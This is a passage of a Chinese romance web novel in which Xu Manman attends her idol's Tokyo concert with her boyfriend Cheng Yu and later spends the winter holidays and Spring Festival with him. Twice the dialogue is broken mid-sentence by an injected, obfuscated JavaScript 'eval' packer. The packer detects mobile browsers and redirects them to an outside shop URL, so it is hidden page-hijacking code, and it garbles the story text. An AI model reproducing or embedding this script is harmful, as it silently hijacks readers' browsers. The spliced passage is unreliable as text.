“还可以,这里有点空,弄完再贴点小装饰。” 她微微倾身,给他示意要美化的地方。 说了话却没有回应,看过去,发现这人根本没在看扇子,正目不转睛看着自己。 “嗯?” 她疑问的话还没说出口,他突然抬手勾过她脖子,就着这个姿势亲她。 许曼曼完全猝不及防,在这个突如其来的吻中有点站不住,一条腿屈到沙发上,半跌进了他怀里。 他另一只手立刻顺着摸过来,很不老实地探进了衣服里,一把握住她的腰。 她有点腿软,但意识很清明,在他舌尖缠绕着追过来的时候,不轻不重地咬了下。 亲吻的动作这才停下,他还在她的嘴唇边流连,微微抬眼。 “嗯?” 声音低沉,还带着些微喘息。 许曼曼略顿了顿,屈起的膝盖直接给了他一下子,撞在他侧腰上,引出他一声闷哼。 她趁机从他怀里挣脱出来,站直身子,居高临下地看着他。 “我说没说要迟到了!” 他往后靠在沙发上,舔了舔唇角。 “太狠心了吧。” 语气委委屈屈的,脸上的笑意却藏都不藏,嘴唇边蹭上的口红更是显眼。 许曼曼回去镜子边看了眼,自己才是惨不忍睹,唇妆全都花了。 “程喻!” 她气得大叫。 * 好在历经波折,最后还是踩着时间到了现场。 场馆外已经聚集了大批粉丝,许曼曼顾不上别的,先去周边售卖点买周边。 应援棒大扇之类的都是必买项目,除了这些,这次的周边衣服是黑色卫衣,背后印着各自成员的名字和号码。 许曼曼先只要了一件,想了想,转身问程喻。 “你要吗?” 程喻正在旁边帮她拎东西,闻言愣了下。 看了眼后面的展示图,有些犹豫地问她。 “我应该要吗?” “……什么叫应该要。”许曼曼无语,“想要就要,不想要就不要啊,谁还能逼你要吗?” “那我不要。”他立刻摇头。 但是度没把握好,显得有些急切,似乎是对这卫衣很嫌弃。 许曼曼瞪了他一眼,于是只要了这一件。 买完在会场里整理东西的时候,旁边有别的也买了卫衣的粉丝,直接套上了身。 程喻看到,问她。 “会不会有点大?这是男款吧?” “对啊,只有男款。”许曼曼正检查应援棒,随口说道,“不过没关系,反正是买给赵宜杭的。” “……谁?” “赵宜杭。” “买给他?”程喻皱眉,“为什么要买给他?” “不是说了嘛,我们俩一天生日,这是我精心为他准备的生日礼物。” 许曼曼把应援棒收进包里,美滋滋的。 “我从贺潇的礼物中得到了灵感,买这件给他,然后道德绑架逼着他穿,这样就可以利用他给我们团做广告了。想想吧,走在学校里一半女生都会看,多好的一个广告位,不用白不用。” “对了,说起这个。”她突然想到,“也不知道他现在什么情况,有没有见到面。” 看眼手机,又问程喻。 “你觉得我要不要打电话问问他?” 程喻瞥了她一眼,语气不咸不淡的。 “你倒是很关心他。” “我是关心他的八卦。”许曼曼看着他,“喂,你这什么表情?” “没什么。” 这人嘴上说着没什么,话里却全是有什么。 “就是觉得自己有点可怜,陪女朋友去看别的男人的时候,她心里还在想着另一个男人。” “……哇塞。” 许曼曼为他的茶言茶语所倾倒。 “那你怎么不说,这两个男人,一个是爱豆,一个是朋友啊?” “朋友?” 程喻轻声一笑,这笑却像是意味无穷。 “什么意思?我不能有朋友啊?” “男性朋友,你有过几个?” “算上他两个喽,另一个不就是你?” 话说到这里,她这才算是读懂程喻的表情,伸手戳了戳他。 “怎么,程喻,吃醋啦?” “嗯。” 没想到他会立刻承认,许曼曼倒愣了下。 “但是,男朋友只有你一个啊。” 程喻笑了:“这不是当然的吗?” “那你吃什么醋?” “毕竟在我们恋爱之前,我也只是你的普通、男性、朋友啊。” 这人一字一顿,像在做发音练习似的。 许曼曼翻了个白眼:“那不一样。” “哪里不一样?” 哪里不一样许曼曼也说不上来,含含糊糊的。 “反正就是不一样。” 程喻微微叹了口气。 “你叹什么气?”许曼曼瞪他。 “如果我也有个女性朋友的话,你怎么想?” “你敢有!” 话说完,许曼曼才发觉自己有些双标。 于是又假装和颜悦色起来。 “可以探讨一下,来,说说,你有吗?” “没有啊。”程喻说,“一直都只有你。” 他看着许曼曼的眼睛,在这嘈杂纷乱的周边会场,日语的环绕音中,这话说得轻而缓,像一句情话。 这让许曼曼几乎有点脸红,于是转开目光。 “嗯,不错,要去给你也买一件卫衣吗?” “不要。”他回答得很迅速。 “为什么?” “难看。”这次回答得更迅速。 “……程喻。” 许曼曼深吸一口气。 “今天是我第一次见我爱豆,别逼我在最开心的时候扇你。” * 毕竟是第一次见生人,紧张感很快占据上风,买完周边出来,许曼曼就把其他事情都忘了,一门心思沉浸在即将见到爱豆的喜悦中。 在外面给娃各种拍照,又指挥程喻给自己拍认证照,一通拍完下来,终于进了场馆。 位置开出来的还不错,许曼曼非常满意,坐到座位上之后,先趁着工作人员看不到的时候,给娃和应援扇拍认证照,拍完又拿出镜子来补妆。 程喻在旁边目睹这一切,手撑着脸看她补口红。 “已经够好看了。” “你懂什么,看见那边的摄影机没。”许曼曼给他指了指,“还有那边,那边。” “怎么了?” “运气不错,今天应该是收录场。”许曼曼收起口红,给他解释了下,“就是说这场会录下来出碟,说不准到时会拍到我呢。” “是吗,那是挺幸运的。” 他语气平平,伸手把她肩头的衣服往上提了提。 “别动!” 许曼曼把他的手拍开,又把衣服往下拉,露出一边肩膀。 这件衣服本来是全露肩的设计,但因为某人昨天晚上的杰作,有点不太好遮,没办法,她只能露一边的肩膀。 “怕你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781294|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷。”罪魁祸首假装体贴。 “冷什么,空调开这么足。” 说着,许曼曼想起来。 “让你听的歌都听了吗?” 抽选结果出来之后,许曼曼就给程喻列了歌单,要求他没事就多听。 “听了。” 他点头,也不知道是真是假。 许曼曼把大扇给他,自己则拿着精心装饰的应援扇。 “你就偷着乐吧,知道我们团的演唱会有多抢手吗?多少粉丝想来来不了,你占着位置,待会别像个傻子似的,该应援应援,该鼓掌鼓掌,听到没!” “听到了。” 程喻又点头,指了指她手上的应援扇。 “说起来,这上面是什么意思?” 应援扇上的饭撒要求,是许曼曼思考多日精心选择的。 ——私の手握って 虽然是日文,但里面有三个汉字,猜也能猜出大概意思,不知道这人是理解能力有问题还是怎么着。 许曼曼好心告诉他:“握住我的手。” “哦。” 他伸手过来,握住她另一只手。 “……” “怎么了?” “程喻。” 许曼曼由着他握住手,看着他。 “我现在记住你装纯的时候是什么表情了。” 他笑了。 * 许曼曼非常幸运地拿到了饭撒。 当时的感受很难形容,爱豆从她面前经过的时候,灯光也刚刚好聚焦过来,一时眼前有些晕眩。 本来以为他看不到了,但可能是灯光的原因,也可能是因为幸运,他在离开之前突然停住脚步,眯起眼睛确认了一下,然后伸过手来,隔空虚虚握住了她的手。 没有预想中的尖叫欢呼,也没有哭,后半场许曼曼甚至有点走神,疑心是灯光太晃眼看错了,又不停在脑海中回味,两秒钟的画面反反复复重播。 所以,喜欢你到现在,终于你人生中有两秒钟的时间,是属于我的了。 大概就是这样的情感。 在这之外,演唱会也是十分精彩,感觉转瞬即逝。 到最后彩带落下来的时候,许曼曼仰头去看,这才有种想哭的感觉。 她伸出手去,抓到了两条,所有的一切都这么圆满,没有遗憾。 原来像自己这么没有运气的人,在追星的时候也可以获得好运。 出了场馆,大家都没有立刻离开,在外面给娃拍照。 许曼曼把彩带绕在娃身上,也跟着拍了几张,情绪还有些平复不过来。 “不想回去。”她对程喻说。 “那就不回去,想去哪里?” 从刚才起,程喻就一直牵着她的手。 许曼曼一只手还拿着娃,只好塞给他,才拿出手机看时间。 “还不算晚。” 附近有工作人员在引导人群,她随便选了一个方向,然后想了想。 “我们去看夜樱吧。” 当然不是真的樱花,是目黑川的彩灯。 河水沿岸的树上,都装饰着粉色的彩灯,遥遥看去,像冬夜盛开的樱花树。 可能是因为有点晚了,人并不多,偶尔有电车经过,除此之外就只有河水和风的声音。 两个人沿着河岸走了一会儿,走到中间一道桥上,从这里看过去,灯光落在河面上,朦胧一片粉色光影。 “跟我想象的完全不一样。”她告诉程喻,“看图片是很梦幻的,这么一看也就一般。” “嗯。” 程喻伸手试了试她脸颊的温度:“冷不冷?” “有点。”她承认道。 为了好看,她今天穿的是裙子,在场馆附近还好,这边的风有些大,就有点顶不住了。 程喻立刻脱外套:“穿我的。” “别!”许曼曼拦住他,“你疯了?脱了你怎么办?冻死啊?” “我没事,不冷。” “那也不行!” 说着,许曼曼主动钻进他怀里。 “好了,我这样暖一暖就好了。” 程喻动作顿了顿,用外套把她裹紧,抱在怀里。 “嗯。” 耳边的风声像是消失了,他的怀抱又好温暖,许曼曼不由闭上了眼睛。 距离这样近,都能听到他心跳的声音。 “小鱼。”她说,“我今天好幸福。” “嗯。” “你怎么不问我为什么?” “因为拿到了饭撒?” “也不仅仅是这样。” 她仍然闭着眼睛,环着他腰的手紧了紧。 “因为你在我身边啊。” 程喻半晌没回话。 可疑的沉默中,许曼曼抬头去看他的表情。 他垂下眼睛,对上她怀疑的目光。 “又在装纯。” “没装。” 他说,轻声笑了。 “这次是真纯。” 25. 初恋 许曼曼的寒假过得非常愉快。 不用上课之后,她的作息又全乱了,晚上不睡,早上不起。 虽然不健康,但很快乐。 又熬了一个大夜之后,她醒来刷了会儿手机,才慢吞吞起床。 洗漱完下楼,妈妈已经上班去了,但是家里有人。 程喻正坐在沙发上看书,听到她的脚步声,抬头看过来。 “早。” “你怎么在?” 许曼曼看了眼旁边的时钟,已经十一点多了。 “几点来的?” “九点,阿姨已经走了。”他说,“饿不饿?” “还好,现在不饿。” 许曼曼下楼,也坐到沙发上。 “你就在这等啊?” “看了会儿书。” 许曼曼躺到他腿上,他放下书,帮她理了理头发。 “昨晚几点睡的?” “三点多吧。”许曼曼打了个哈欠,“打完电话去看视频,结果越看越激动,睡不着了。” 又告诉他:“学长现在票数稳定在第一了,我觉得出道肯定没问题。” 说的是某平台最近正热播的选秀节目,许曼曼正沉迷于此,一方面是她本来就喜欢看选秀,另一方面则是因为,学长竟然去参赛了。 许曼曼刚看到的时候震惊到不行,有一瞬间甚至怀疑是重名,但陆景尧这个名字算不算大众先不说,那分明就是学长的脸。 她立刻微信过去求证,好在他现在虽然很忙,但还是能用手机的,不过还是大半夜才回复她。 竟然真的是本人,他现在暂时休学,而且没签公司,是以个人练习生身份去参赛的。 就像许曼曼之前一直说的那样,学长这张脸,放到哪里都是很好看的。 现在节目刚播过一半,他的人气从开始在上位圈,最新一期更是直接冲到了第一。 男团七个出道位,全部是由观众投票决定,尤其C位的归属,还是比较焦灼的。 许曼曼放假刚好空闲,每天除了看节目就是给学长投票,还加了网络和线下两个投票群。线下群是一中毕业生组织的,当年学长在一中的迷妹们,再一次团结了起来,每天给他投票做数据。 “我们学长一定要C位出道,然后在娱乐圈闯出一番名堂!” 许曼曼虽然困,但热血。 “我看实验的人不爽很久了,不就出了个周清晨嘛,有什么好得意的,等这次学长出道,我们一中终于可以扬眉吐气了!” “好了。” 程喻按住她不安分的手,显然对这个话题没什么兴趣。 “中午想吃什么?” “吃吃吃,就知道吃,现在是关系到我们星港一中地位的时候,你能不能有点学校荣誉感?” 说着,许曼曼直接上手,从他身上扒拉出手机,又开始用他的号投票。 只是每次看到他的手机壁纸,都还是有点不习惯。 “程喻,你能不能换张壁纸啊?”她一边投票一边抱怨,“我压力好大。” “不能。”他熟练地拒绝。 之前许曼曼有自己换过,但每次都会被他换回来。 这人的壁纸是一张自己拍的许曼曼,而且是趁她睡着的时候偷拍的,头靠在他肩上,也不知道他是怎么拍到的,角度奇怪,只露出她的脸。 这张照片什么时间拍的存疑,他到底为什么这么喜欢更是存疑。 因为他不肯说,而许曼曼自己又完全不记得。 “万一别人看到怎么办?多奇怪啊。” “我的手机,别人怎么会看到。”他说,“而且看到就看到,我用自己女朋友的照片,关别人什么事。” 许曼曼无语,也只能随着他了。 “倒是你。”他戳了戳她的脸颊,“手机壁纸全是别的男人的照片。” “那废话,谁要用你的,肉不肉麻啊?” 许曼曼的壁纸最近换成学长的了,但不只是他一个人,是她很喜欢嗑的一对学长的CP,最近正火热,连带着那个人名次也一直在上升。 照片并不是特意拍的,是节目里的一张截图,录制中的某天下了雪,两人并肩站在雪地里的一个画面,很有氛围感,看到的没人嗑不到。 许曼曼投完票,又拿出自己的手机开始欣赏。 “真配,怎么能这么配,真是天造地设一双璧人。” 程喻没搭理她,她自己看着看着突然又悲伤起来。 “可是学长到底为什么是直男啊?!就不能为了我,为了大家弯一下?” 想了想,仰头去看程喻。 “哎,我能采访一下你吗,就是,你应该是直男吧?” 程喻垂眼看她,面无表情。 “好,那就是。” 许曼曼接着说下去。 “所以假设,你现在单身,但遇到一个很适合的男生,很适合哦,你会不会放下性别——” 她话没说完,程喻低头直接亲了过来,堵住了她说个不停的嘴。 一个吻结束,许曼曼呼吸有些不稳,手还在揪着他的衣服。 听他凑到耳侧,低声说了句。 “你觉得呢?” * 午饭许曼曼不想在家吃,非要去吃麦当劳。 去了暑假兼职的那一家,她回来之后还没去过,当时认识的小伙伴这段时间也有在联系,关系仍然很好。 今天在班的有两个,她嘻嘻哈哈叙了旧,又介绍程喻给她们认识。 点了餐坐下,有些怀念地环顾四周,除了联名装饰,其他什么都没变。 “当时就是学长来买麦旋风,我们约好一起去露营的,没想到半年不见,他竟然都要进娱乐圈了。” 许曼曼感慨着,又抽出一根薯条指着程喻。 “而你,一次都没来看过我,真过分。” 程喻帮她把可乐盖弄好,推到她面前。 “你怎么知道我没来?” “……嗯?” 许曼曼愣了下,有点分辨不出这话里的真假。 “你来过?骗人的吧?” “你穿的是粉色制服,头发会扎起来。”他抬眼看过来,漫不经心地说,“围裙上别了个星星发卡。” “……我靠。” 许曼曼呆住,半晌才说。 “你真来过?” 他笑了下,不置可否的样子。 “你来干吗不找我!”许曼曼把薯条塞进嘴里,伸手过来掐他,“装什么装!” 他由着她掐,又把汉堡放到她面前。 “是啊,我也很后悔。” “程喻,你老实说。” 许曼曼往后靠到椅子上,打量起了他。 “还有什么瞒着我的?都说一下!” “瞒着你的?太多了。”他说,“你是指哪方面的?” “‘太多了’?”许曼曼瞪他,“你都瞒着我什么?” “你真要听?”他说,“但这里是公共场合,不太方便。” “……” 他看着许曼曼的表情,笑了。 “非要说的话,还真有一件事。” “什么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“暗恋到底算不算初恋啊?要是算的话,那严格来说,学长才是我的初恋,毕竟我初二就开始喜欢他了。” 说到这个,她语气兴奋起来。 “对啊,那我以后出去就可以说,陆景尧是我的初恋!” 她太兴奋,牵着程喻的手忍不住晃起来,脚步也很轻快,几乎是一蹦一跳的。 然后听到程喻冷冰冰一句。 “不算。” 抬眼就看到他面无表情的样子。 眼神对上,又强调了一遍。 “不算。” “怎么不算?”许曼曼有些不服气,“这个见仁见智吧,很多人都说,初恋就是指自己第一次喜欢的人,也不一定——” 她话说到一半,被远处响起的烟花声打断。 转头看过去,海岸线的尽头,升腾起大片灿烂的花火。 应该也是躲避巡逻车,去人少的地方放的。 从这个角度看,烟花升空、绽放,在夜色和海风中,几乎和月亮融为了一体。 两个人就这样牵着手,站在这里静静地看完。 四处无人,只有海浪的声音。 就像一场专为他们而放的烟火。 “小鱼。” 许曼曼叫他。 “你为什么想来放烟花啊?” “也不是想放烟花。”他说,“只是想和你一起。” 许曼曼转过脸去看他。 他没有动作,仍然在注视着烟花散尽的夜空。 “只是希望你经历的每个第一次,身边的人都是我。” 许曼曼半晌不说话,他这才转头看过来。 “好吧。” 她说,有些别扭地转开了视线。 “那决定了,我的初恋就是你吧。” 26. 梦境 严格意义上来说,程喻其实不是星港人。 他是云溪人,出生在云溪,一岁多的时候,因为程喻爸爸工作调动,才举家来了星港。 所以每年春节,他们家都是回云溪过的。 许曼曼则是土生土长的星港人,自然是留下来过年。 因为爸爸不在了,所以每年都会先去爷爷奶奶那边,年初一才去姥姥姥爷家。 爷爷家过年也挺热闹,大伯一家从江城回来,尤其是,许白露也回来了。 许白露是许曼曼的堂姐,比她大五岁,已经工作了,是一名光荣的人民警察。 之前两年她都因为值班没回来,今年难得能休息,虽然也只有两天时间。 许曼曼从小就喜欢自己这个姐姐,虽然两人见面不多,但每次都会像个跟屁虫似的跟着她。 许白露长得很漂亮,性格却有些大大咧咧,又很有正义感。小时候是出了名的孩子王,长大之后读了警校,毕业分配到离家千里之外的南川,当了刑警。 算起来两人已经两年多没见了,这次见到面,许曼曼更是一步不离地跟着她,问不完的问题说不完的话。 她和许白露凑在一起,可以完全不看手机,于是程喻发来的消息也没看到,快中午的时候,他直接电话打了过来。 “在干吗呢?” “嗑瓜子。” 许曼曼把手里的瓜子放回去,走去阳台上接电话。 “我刚贴好对联,发给你你也没看。” 他控诉道,声音有点委屈。 “我姐回来了,忙着听故事呢,哪有空理你。”许曼曼说,“你们家没人跟你玩?” “谁跟我玩,我只想跟你玩。” “大哥,你这才刚回去,要不要这么夸张?” 正说着,许白露在屋里叫她。 “曼曼,我要去买饮料,一起吗?” “一起!等我等我!”她连忙答应,又跟程喻说,“好了,你先自己玩吧,我要出去一趟,有时间再说。” 但她一直没时间,吃完晚饭,才看到程喻给她发的年夜饭照片,已经是一个多小时之前了。 云溪那边的年夜饭和星港不太一样,没那么多海鲜,看着也会更清淡一些。 大家围坐在一起看春晚,她又去了阳台,给程喻打回电话。 响了两声就被挂断,程喻换了视频拨回来。 “干吗?” 许曼曼抬手按下被风吹起的刘海,看到程喻那边却很明亮,是在室内。 “说了啊。”他往前凑了凑,笑着说,“想你了。” “……程喻你真的无聊。” 许曼曼趴到栏杆上,翻了个白眼。 “吃完了吗?我刚看到。” “嗯,你呢?” “刚吃完,我们吃得晚。” 不远处有人放起了烟花,隔着楼栋能看到绽开的花火,旁边传来零星的鞭炮声。 许曼曼看着烟花散尽的一点烟气,想起下午的事,于是绘声绘色地,给程喻讲了许白露抽烟被抓到的事。 “……关键她就站在香炉前,把烟往里面一插,假装自己刚才在上香!哈哈哈哈……” 她每次说起好笑的事,总是先把自己笑得不行。 只是听众情绪有点跟不上,程喻看着她,仅仅嘴角弧度上扬了一点。 “不好笑吗?”许曼曼很不满,“你是没看到我姐那个样子,看了你肯定也笑!” “可能吧。”这人最擅长用平淡的语气说肉麻的话,“但是我更想看你。” “……行吧。”许曼曼已经放弃抵抗了,问他,“你哪天回来?” “暂定是初二。” “那就只有两天了嘛。”她说,“对了,明天我们要去看电影,我姐男朋友来接她,我还一次都没见过呢,所以要跟着去当电灯泡,嘿嘿。” “看哪部?” “喜剧片,其实我想去看那部悬疑的,但我姐觉得像在加班,所以就放弃了。” “那等我回来,我们一起去。” “可以是可以,但是你不是都不喜欢看电影的?” “和你一起的话,看什么都可以。” “行吧,那就等你回来。” 有了约定的事情,程喻肉眼可见的心情好起来,又问她。 “你真的都不想我?” “……程喻,要我再提醒你一遍吗。”许曼曼感到无语,“你才回去一天,一天,二十四小时多一点,到底有什么可想的?” “唉。” 他故作失落地叹了口气,不过分明就是在装,所以许曼曼没搭理他。 正好这时许白露过来,探了个头。 “曼曼,四缺一,来吗?” 又是打麻将,许曼曼其实不是很擅长,但还是点头。 “来。” 于是跟程喻说:“我去咯,你也玩去吧。” “嗯。”程喻大概在电话里听到了,“新年快乐。” 外面又有人放起了烟花,这次距离更近一点,看得更清楚。 许曼曼把镜头转过去,对准了烟花的方向。 “也给你看一下。” 两个人在星港和云溪,一起看完这短暂的新年烟火。 然后许曼曼才转过镜头,笑眯眯冲他挥了挥手。 “好了,祝我发财吧。” * 初二上午程喻回来,但是许曼曼没有见到,她被妈妈带着去亲戚家拜年了,一直到下午才回来。 回到家,刚在沙发上躺了会儿,妈妈从楼上下来,告诉她。 “晚上我们去你苏阿姨家吃饭。” “啊?”许曼曼抬起头来,慢半拍地应了声,“哦。” 苏阿姨就是程喻的妈妈,逢年过节,两家人经常会这样聚一下的。 许曼曼没躺多久,被妈妈催着起来,一起去了程喻家。 一进去就闻到饭菜的香味,许曼曼拜了年,拿到程喻妈妈给的压岁钱,厚厚一沓,很是可观。 只是没看到程喻,妈妈也在问:“小喻呢?” “他去跑腿了。”程叔叔身上还系着围裙,“菜要下锅了,才发现少了豆腐。” 又招呼她们:“坐吧,还剩最后两道,马上就好。” 于是三位女性坐在沙发上看电视,等待一个跑腿的一个做饭的。 妈妈和程喻妈妈几天没见,话说个没完,许曼曼有一搭没一搭听着,按着手里的遥控器,快到吃饭时间,没什么好看的节目。 随便停在一个娱乐频道看了会儿,程喻总算回来了。 今天天比较冷,算是这几天里最冷的一天,他出去也不戴帽子围巾,脱了外套,看起来整个人冒着寒气,耳朵都冻红了。 看到妈妈,立刻拿出那副乖巧的样子,拜了年,同样领到一个大红包。 只是过程中,眼神一直落在许曼曼身上,笑得过分灿烂了。 许曼曼没起身,懒散靠在沙发上,警告的眼神递过去,他这才收回视线,去把买来的东西交给程叔叔。 从厨房出来,装模作样绕了一圈,最后还是坐到许曼曼身边。 两个妈妈就在旁边,笑得有些意味深长。 许曼曼往旁边坐过去,尽可能离他远一些。 好在程叔叔在那边盘子找不到,紧急召唤程喻妈妈,妈妈也起身去帮忙了。 人一走,程喻立刻靠过来,手也顺理成章地伸过来,攥住她的手。 “哎呀!” 他刚从外面回来,手还凉得像冰块,许曼曼被冰得打了个冷颤,立刻抽出手来打他。 “好凉!” 不过声音不是很大,没有平常的气势。 “外面好冷。”程喻笑着凑过来,下巴搁在她肩上,“帮我暖暖怎么了?” “离我远点!” 许曼曼又要往后退,可是后面就是沙发边,已经没什么空间,再退就要栽过去了。 她一边说着,一边往厨房那边张望。 虽然他们两个恋爱的事已经公开,但在大人面前,她还是觉得有些别扭,总不好意思和程喻太亲密,甚至还不如之前做朋友的时候。 “我不。”程喻有点耍无赖地凑过来,一只手环过她,“好久没见了,靠近点都不行?” “要吃饭了,你别闹!” 许曼曼偷偷掐他,这时听到电视里传来预告的声音,立刻转头。 是学长他们那个选秀节目,今晚刚好是决赛直播,赞助商都把广告打到电视上来了。 她注意力迅速转移,看完广告,对学长最后的C位很是满意。 “就在今晚。”她得意地对程喻说,“我们一中第一位大明星就要诞生了!” 程喻压根没看电视,玩着她一绺头发,漫不经心说了句。 “是吗。” 许曼曼把他的手拍开:“什么态度!” * 吃晚饭的时候说起来,程喻妈妈也对这个选秀很感兴趣,之前两人就一起讨论过,她虽然没一直追,但断断续续看了个大概,两个人很能聊得来。 主要是这档节目真的很火,力压春节档一众电影电视剧,是这个冬天热度最高的综艺,没有之一。 “就是赛程安排得太紧了。”许曼曼感慨道,“学长过年也回不来,不然搞不好还能和他见一下。” “是啊。”程喻妈妈点头,“以后想见到估计就更难了。” 不过程喻妈妈最喜欢的不是学长,而是其中一名主唱,说他看起来讨喜,唱歌又好听。 “我觉得他应该能出道,大概卡位吧,第六名或者第七名。” 许曼曼分析出道形势。 “没意外的话,C位大概率就是学长了,他和第二名的差距已经拉得越来越大了,上周票差——” 正激情分析着,程喻从旁边给她夹了一块鱼,放到了她碗里。 许曼曼思路被打断,愣了一下,随即脸上表情不变,在桌子底下偷偷踢了他一脚。 程喻正在盛汤,面不改色。 好在没人注意到他们这些小动作,于是话题继续。 吃完饭,依然是两位男性收拾餐桌和洗碗,三位女性聊天看电视。 还没到直播时间,许曼曼窝在沙发里,抱着抱枕玩手机。 正在论坛里看票数分析贴,微信突然弹出消息。 是程喻。 ——出去走走吗? 她抬头一看,这人刚洗完碗,正站在厨房门口当门神。 两个人面对面还要发 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她上了楼,倒还记着程喻之前说过的敲门的事,但明知故犯,直接推开门看了眼。 屋里只开了一盏台灯,程喻正坐在书桌前,开着电脑,不知道在写什么。 她想了想,又悄悄退出去,准备把门关上。 “怎么不进来?” 门刚要关,书桌边传来程喻的声音。 他头都没回,却好像知道来的人是谁。 许曼曼关门的动作顿住,还是推门进来了。 “你狗耳朵啊?” 今天外面的烟花爆竹声就没停过,楼上听着更清楚,嘈杂的背景音中,也不知道这人怎么分辨出脚步声的。 许曼曼走过去,把那碗草莓放到桌上,又顺手拿起一颗,塞到他嘴里。 程喻眼睛还在盯着电脑,打字的动作也没停,就这么把草莓吃了下去。 “甜吗?”她问。 “嗯。” “行,那你吃吧。”许曼曼转身要走,“我走——” 话没说完,就被他伸手抓住,一把拉了回去。 “哎哎……”许曼曼踉跄着坐到了他腿上,“干吗?” “陪我。” “陪什么,你不是有正事呢,我在这别影响你。” “没。”他说,就这么把人抱在怀里打字,“快弄完了。” “那你先放开我,我坐到旁边去。” 许曼曼动来动去的,想起身未果。 “别动。” 他手又收紧了些,阻止了她要挣脱的打算。 “哦。” 许曼曼这才老实一点,坐在他腿上,自己也拿了颗草莓吃。 结果刚咬一口就皱起眉头:“好酸啊,这哪里甜了!” 硬着头皮吃下去,顺手拍了他一下。 “你这个骗子!” 程喻笑了:“我觉得很甜啊。” “那你吃吧。” 许曼曼把剩下的草莓又塞给他,他没有异议,神色不变吃了下去。 “变态。” 许曼曼再一次真情实感地评价。 被这么称呼的人,在这时关了电脑。 她愣了一下:“弄完了?” “嗯。” “那走了。”她说,“下去吧。” 话刚说完,他就着这个姿势,一把把她抱了起来。 身体突然腾空,许曼曼下意识抱紧了他,小声惊呼。 “干吗?” 他走到床边,把她放到床上,然后欺身压了下来。 这个带着草莓香气的吻和之前有些不一样,许曼曼感觉得到。 太过炙热,太过浓烈,像是要寻找什么,证明什么似的,从一开始就没打算停下。 意识到这一点之后,许曼曼趁一个空隙抬手抵住他,给自己挣脱出呼吸的空当。 “程喻你疯啦?”她小声说,“大人都在楼下呢,门也没锁!” “没事。” 他声音都哑了,亲了亲她的脸颊。 外面的烟花声还在持续,甚至有越来越大的趋势。 “你小点声。”他说,“听不到的。” “你——” 许曼曼气得锤他。 他却笑了,偏头去亲她的耳垂,鼻息落在耳边,滚烫的。 “我早就想在这里了。” “……什么?” 许曼曼有些反应不过来,转头对上他的视线。 “这也是瞒着你的事之一。” 他说,抬手拨开她的刘海,看着她的眼睛。 “我想好久了。” 终于明白他的意思之后,许曼曼脸瞬间红了。 “不要脸!”她还在骂人。 “嗯,骂得好。” 下一个吻落下之前,他低声在她耳边说道。 “再多骂两句,宝宝。” 外面的烟花声太大,盖过房间里的声响,空气像是融化了一样,把这个夜晚烫出梦一样的轮廓。 学长在这一晚C位出道。 27. 蝴蝶 春节档几部电影的评分出来了,许曼曼大致看了一下,都是比较均衡的低,没什么特别出彩的。 好在打算去看的这一部,还算是稍微高一点的。 主题是模仿杀人的悬疑片,但剧情有些松散,开头的几桩连环杀人过后,节奏就慢下来,一直在无意义的打转。 许曼曼努力跟着片中的警察一起思考,但可能是影厅的温度有些高,只觉得头脑昏昏,不知不觉睡了过去。 醒来的时候已经是尾声,她靠在程喻的肩上,睡得还有些迷迷糊糊,只看到罪犯伏法,竟然是一个开头看来人畜无害的人,反转似乎挺厉害的。 只是她重要情节一点没看,对这故事发展有些意外。 放映结束还有些发懵,出了影厅,立刻问程喻。 “怎么会是她呢?她不是第二个被害者的妹妹吗?而且也有不在场证明。” “冒充的。”程喻说,“亲妹妹才是第一个被害者。” “哦,那她是怎么杀了那个运动员的?” “他是自杀。” 两人一问一答,程喻虽然对电影没兴趣,但看得比她认真,重要情节都记住了。 许曼曼一一梳理完,感觉故事还是挺精彩的。 “没有网上说得那么烂嘛,我看有人说有的情节很胡扯,照这样看的话,节奏是差了点,但剧情还是不错的。” 从影院出来已经是黄昏时分,两人没有再接着逛,直接回了家。 妈妈还没下班,许曼曼进门就窝到沙发上,指挥程喻去给自己拿冰淇淋。 她是一年四季雷打不动要吃冰的,所以家里冰箱总会备着。 结果吃着冰淇淋,又去搜了一下影评,却是越看越不对劲,感觉情节都和程喻说的不一样,完全对不上。 她一头雾水看了半天,质问程喻。 “怎么回事,这和你说的不一样啊,大家都说犯人就是亲妹妹啊?” “是吗?”程喻刚倒了水坐下,闻言点头,“那可能是我看错了吧。” “……看错?” 许曼曼又接着看,指出问题。 “运动员是被毒死的啊,也不是自杀!” “哦,那可能也是我看错了。” 他面不改色地说完,对上许曼曼的眼神,这才笑了。 “好吧,其实都是我编的。” “编的?”许曼曼有些反应不过来,“你也睡着了?” “没有。” “那你在干吗?怎么什么都不知道?怎么着,精神离开地球了?” 他笑着讨饶,抓住她伸过来掐人的手。 “在看你。” “……你就编吧。” “这个没编。” 他这么说着,顺手把她揽到怀里。 “你知道我当时在想什么吗?” 明知道这人不会说出什么好话,许曼曼看着他,对上这样的眼神,还是忍不住问了。 “什么?” 能有什么,眼下两人的姿势和在电影院也没什么区别,他偏过头,顺理成章亲了过来。 落日隔着窗户照进来,这个角度刚好打在程喻脸上,给他添上一重金色的描边。 许曼曼没有闭眼,看到他长长的睫毛在颤动。 是浅金色的蝴蝶翅膀。 * 程喻这个黏人的劲头,就这么贯穿了一整个寒假。 两人每天从早到晚的待在一起,要么他来许曼曼家,要么就是许曼曼去他家,除了春节那几天,根本没有分开过。 不过清岚大学开学早,他要比许曼曼提早一周走。 临近要走的那几天,这人黏人的症状更是加剧,就像长在她家一样,每天早上醒了就能看到人,晚上很晚才走,回家之后还要视频或者电话,而且又不舍得挂,非要连麦睡。 两个人都说了十几年的话了,也不知道到底为什么还是有这么多可说的。 许曼曼总是说着说着就睡着,醒来手机都已经没电自动关机了。 只是这样的日子也要结束了,要走的前一天,程喻依然准时准点出现在她家里。 盯着许曼曼吃完早饭后,才提议道。 